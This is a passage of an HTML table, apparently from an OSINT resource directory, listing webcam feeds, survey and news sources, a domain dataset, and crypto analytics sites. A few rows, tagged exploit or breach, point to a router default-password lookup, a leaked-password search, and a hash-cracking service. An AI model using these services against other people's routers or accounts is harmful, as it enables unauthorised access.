<tr><td><a href='https://www.geocam.ru'>GeoCam</a><br></td><td>A site of webcams from around the world, broadcasting in real time, that you can watch for free. Live webcam are structured by countries, cities and categories</td><td>GLOBAL</td><td>network</td></tr>
<tr><td><a href='https://livetraffic.eu'>LiveTraffic</a><br></td><td>Real-time monitoring of Europe's 5,481 live traffic cameras</td><td>EUROPE</td><td>network</td></tr>
<tr><td><a href='https://www.arabbarometer.org'>Arab Barometer</a><br><a href='https://twitter.com/ArabBarometer'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/arabbarometer'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>Arab Barometer is a nonpartisan research network that provides insight into the social, political, and economic attitudes and values of ordinary citizens across the Arab world.</td><td>GLOBAL</td><td>geopolitics,economics,terrorism</td></tr>
<tr><td><a href='https://emm.newsbrief.eu'>EMMNewsbrief</a><br><a href='https://www.facebook.com/EMMNewsbrief'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>World news as a topic based NewsBrief, which is updated every 10 minutes, or sent as real-time email alerts. EMM Newsbrief presents the news aggregation and analysis from over 7000 news websites world wide.</td><td>GLOBAL</td><td>geopolitics,terrorism,economics</td></tr>
<tr><td><a href='https://domainsproject.org'>Domains Project</a><br><a href='https://github.com/tb0hdan'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a></td><td>World's single largest Internet domains dataset. This public dataset contains freely available sorted list of Internet domains.</td><td>GLOBAL</td><td>web,network</td></tr>
<tr><td><a href='https://www.afrobarometer.org'>Afrobarometer</a><br><a href='https://twitter.com/afrobarometer'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/afrobarometer'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.facebook.com/Afrobarometer'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/afrobarometer'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>Afrobarometer, a non-profit company limited by guarantee with headquarters in Ghana, is a pan-African, non-partisan survey research network that conducts public attitude surveys on democracy, governance, the economy, and society.</td><td>MENA</td><td>geopolitics,economics,terrorism</td></tr>
<tr><td><a href='https://www.cleancss.com/router-default'>Router Default</a><br><a href='https://twitter.com/danstools00'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Find out the default login, username, password, and ip address of your router.</td><td>GLOBAL</td><td>vulnerability,exploit</td></tr>
<tr><td><a href='https://leakpeek.com'>LeakPeak</a><br></td><td>LeakPeek is an all-in-one online data protection platform. Search for your publicly leaked passwords using an email or username.</td><td>GLOBAL</td><td>breach</td></tr>
<tr><td><a href='https://crackstation.net'>CrackStation</a><br><a href='https://twitter.com/defusesec'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>CrackStation uses massive pre-computed lookup tables to crack password hashes. These tables store a mapping between the hash of a password, and the correct password for that hash.</td><td>GLOBAL</td><td>breach</td></tr>
<tr><td><a href='https://www.openownership.org'>Open Ownership</a><br><a href='https://twitter.com/openownership'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/openownership'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.facebook.com/openownership'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://github.com/openownership'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a></td><td>Open Ownership is driving the global shift towards transparency over who owns and controls companies</td><td>GLOBAL</td><td>company</td></tr>
<tr><td><a href='http://openafrica.net'>openAFRICA</a><br></td><td>openAFRICA aims to be the largest independent repository of open data on the African continent.</td><td>AFRICA</td><td>geopolitics,economics,natural,company</td></tr>
<tr><td><a href='https://hunter.how'>Hunter</a><br><a href='https://twitter.com/HunterMapping'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://t.me/hunter4good'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a></td><td>Internet search engine for security researchers</td><td>GLOBAL</td><td>web,network</td></tr>
<tr><td><a href='https://blocktivity.info'>Blocktivity</a><br><a href='https://twitter.com/Blocktivity1'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Blocktivity aim to provide the maximum raw data possible from a wide variety of blockchains. By providing this object data and tools to analyse and compare it, they hope to provide a way for investors to better understand the projects available in the space.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://santiment.net'>Santiment</a><br><a href='https://twitter.com/santimentfeed'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://github.com/santiment'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a><a href='https://t.me/santiment_network'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://www.youtube.com/c/santimentnetwork'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>We provide tools to help you analyze crypto markets and find data-driven opportunities to optimize your investing. Santiment is a behavior analytics platform for cryptocurrencies, sourcing on-chain, social and development information on 2000+ coins.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://glassnode.com'>Glassnode</a><br><a href='https://twitter.com/glassnode'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://t.me/glassnode'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://linkedin.com/company/glassnode'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/glassnode'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Glassnode makes blockchain data accessible for everyone. THey source and carefully dissect on-chain data, to deliver contextualized and actionable insights relevant for traders and investors.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://coinmetrics.io'>Coin Metrics</a><br><a href='https://twitter.com/coinmetrics'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/coinmetrics'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Crypto intelligence for the future of finance. Coin Metrics organizes the world's crypto data and makes it transparent and accessible.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://datamish.com'>Datamish</a><br><a href='https://twitter.com/8bitCaliph'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Charts for Bitcoin long and short positions on Bitinex. Gauge sentiment and analyze the BTC market to see if leveraged bears or bulls are due for a margin squeeze.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://coinlib.io'>Coinlib</a><br><a href='https://www.facebook.com/coinlib'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://twitter.com/coinlibio'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Coinlib provides live and historic cryptocurrency prices, portfolio, alerts, news, charts and detailed coin data.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://messari.io'>Messari</a><br><a href='https://twitter.com/MessariCrypto'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://t.me/messaricrypto'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://www.youtube.com/c/Messari'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Gain an edge over the crypto market with professional grade data, tools, and research.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.understandingwar.org'>ISW</a><br><a href='https://www.youtube.com/user/UnderstandingWarOrg'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://twitter.com/TheStudyofWar'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>The Institute for the Study of War advances an informed understanding of military affairs through reliable research, trusted analysis, and innovative education. We are committed to improving the nation's ability to execute military operations and respond to emerging threats in order to achieve U.S. strategic objectives. ISW is a non-partisan, non-profit, public policy research organization.</td><td>GLOBAL</td><td>geopolitics,economics,terrorism</td></tr>
<tr><td><a href='https://kyivindependent.com'>Kyiv Independent</a><br><a href='https://www.facebook.com/kyivindependent'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/kyivindependent_official'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://t.me/KyivIndependent_official'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://www.twitter.com/kyivindependent'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/kyivindependent'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCGAC5yzlYgjKoJABDZ7zEyw'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>The Kyiv Independent is Ukraine's English-language media outlet, created by journalists who were fired from the Kyiv Post for defending editorial independence.</td><td>EUROPE</td><td>geopolitics,economics,terrorism</td></tr>
<tr><td><a href='https://twitter.com/PutinDirect'>PutinDirect</a><br><a href='https://twitter.com/PutinDirect'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.youtube.com/@putindirect'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://www.facebook.com/PutinDirect'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/PutinDirect'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://t.me/PutinDirect'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a></td><td>Excerpts of Vladimir Putin's remarks and speeches with English subtitles.</td><td>RUSSIA</td><td>geopolitics,economics</td></tr>
<tr><td><a href='https://www.coindesk.com/research'>CoinDesk</a><br><a href='https://twitter.com/coindesk'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/coindesk'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/coindesk'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.instagram.com/coindesk'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.youtube.com/coindesk'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>Latest in crypto research, bitcoin, ethereum, and other cryptocurrency research</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://cryptowat.ch'>Cryptowatch</a><br><a href='https://twitter.com/cryptowat_ch'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a></td><td>Live price charts, trading and alerts for cryptocurrencies like Bitcoin (BTC) and Ethereum (ETH) on Kraken, Coinbase Pro, Binance, and more.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://cointelegraph.com'>Cointelegraph</a><br><a href='https://twitter.com/cointelegraph'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/cointelegraph'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UCRqBu-grVX1p97WaX4d-OuQ'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a><a href='https://www.instagram.com/cointelegraph'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>Founded in 2013, Cointelegraph is the leading independent digital media resource covering a wide range of news on blockchain technology, crypto assets, and emerging fintech trends.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.coingecko.com'>CoinGecko</a><br><a href='https://twitter.com/coingecko'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://t.me/coingecko'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://t.me/coingeckonews'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://www.instagram.com/coingecko'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.facebook.com/coingecko'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.youtube.com/channel/UC-OTgwOAI7KmP0eDAtqN3Ow'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/youtube.png'><img height='20'></picture> </a></td><td>View top cryptocurrency prices live, crypto charts, market cap, and trading volume. Discover today’s new and trending coins, top crypto gainers and losers in the market.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://lunarcrush.com'>LunarCrush</a><br><a href='https://twitter.com/lunarcrush'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://t.me/lunarcrush'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/lunarcrush'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a><a href='https://www.instagram.com/lunarcrush_app'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>Smarter crypto, NFT, and stock investing with insights from millions of conversations happening across social.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://coinmarketcap.com'>CoinMarketCap</a><br><a href='https://github.com/chainsulting'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/github-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/github.png'><img height='20'></picture> </a><a href='https://t.me/CoinMarketCapAnnouncements'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://t.me/CoinMarketCapBot'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://twitter.com/CoinMarketCap'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/twitter.png'><img height='20'></picture> </a><a href='https://www.facebook.com/CoinMarketCap'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/coinmarketcap'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a></td><td>Top cryptocurrency prices and charts, listed by market capitalization. Free access to current and historic data for Bitcoin and thousands of altcoins.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://finance.yahoo.com'>Yahoo Finance</a><br></td><td>At Yahoo Finance, you get free stock quotes, up-to-date news, portfolio management resources, international market data, social interaction and mortgage rates that help you manage your financial life.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.tradingview.com'>TradingView</a><br><a href='https://t.me/tradingview'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/telegram.png'><img height='20'></picture> </a><a href='https://www.facebook.com/tradingview'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/tradingview'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/tradingview'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>Where the world charts, chats and trades markets. We're a supercharged super-charting platform and social network for traders and investors. Free to sign up.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://cryptodaily.co.uk'>Crypto Daily</a><br><a href='https://www.facebook.com/CryptoDailyOfficial'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a></td><td>Cryptocurrency News and digital finance analysis from Crypto Daily. Live price updates, and crypto currency articles and videos for the latest Blockchain news.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://altfins.com'>altFINS</a><br></td><td>Find crypto trading ideas. altFINS offers coin screening, crypto charting, chart patterns, technical analysis, fundamental research, on-chain data, trade execution.</td><td>GLOBAL</td><td>crypto</td></tr>
<tr><td><a href='https://www.spglobal.com/marketintelligence'>S&P Global Market Intelligence</a><br><a href='https://www.facebook.com/sandpglobal'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/facebook.png'><img height='20'></picture> </a><a href='https://www.instagram.com/spgmarketintel'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/instagram.png'><img height='20'></picture> </a><a href='https://www.linkedin.com/company/162892/'><picture><source media='(prefers-color-scheme: dark)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin-inverted.png'><source media='(prefers-color-scheme: light)' srcset='https://in.scanfactory.io/assets/img/gh-img/linkedin.png'><img height='20'></picture> </a></td><td>We provide essential insights for our clients through powerful business intelligence solutions that combine comprehensive data, actionable analytics, and deep sector intelligence.</td><td>GLOBAL</td><td>economics,crypto,stocks</td></tr>
